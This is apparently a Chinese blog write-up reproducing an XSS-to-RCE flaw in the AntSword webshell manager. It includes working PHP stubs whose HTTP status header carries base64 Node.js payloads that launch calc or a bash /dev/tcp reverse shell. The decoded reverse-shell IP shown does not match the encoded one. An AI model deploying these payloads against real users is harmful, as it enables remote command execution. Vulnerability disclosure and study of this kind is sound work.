中国蚁剑(AntSword)代码执行漏洞

蚁剑是自中国菜刀之后的一个优秀的webshell管理工具。

Github 项目中说明是使用 Nodejs + Electron 编写。

Electron 的应用在之前就被爆存在过不少安全漏洞,例如 typora 的 RCE 就是使用了 Electron 导致的

项目地址:https://github.com/AntSwordProject/antSword/

漏洞issue:https://github.com/AntSwordProject/antSword/issues/147

因为连接失败后会将错误信息作为 html 解析导致XSS产生,而在Nodejs + Electron应用中可以通过执行Nodejs代码来执行系统命令

复现

本地搭建一个php的web服务

1555056398.jpg

<?php

header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2NhbGMnLChlcnJvciwgc3Rkb3V0LCBzdGRlcnIpPT57CiAgICBhbGVydChgc3Rkb3V0OiAke3N0ZG91dH1gKTsKICB9KTs=`,`base64`).toString())'>");

?>

在响应头中插入XSS代码,解码后如下

require('child_process').exec('calc',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);//创建子进程来执行系统命令
  });

反弹shell

<?php
header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC44OC4yMjUvODg4OCAwPiYxJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>");
?>
require('child_process').exec('bash -i >& /dev/tcp/127.0.0.1/8888 0>&1',(error, stdout, stderr)=>{
    alert(`stdout: ${stdout}`);
  });

新版RCE

更新后过滤不完整,可在标签中闭合。

因使用不安全的第三方库导致被绕过,利用方式基本一样

参考https://www.anquanke.com/post/id/176724

参考

https://www.freebuf.com/news/200765.html
https://github.com/AntSwordProject/antSword/issues/147
https://evoa.me/index.php/archives/48/
https://www.anquanke.com/post/id/176724

发表留言

人生在世,错别字在所难免,无需纠正。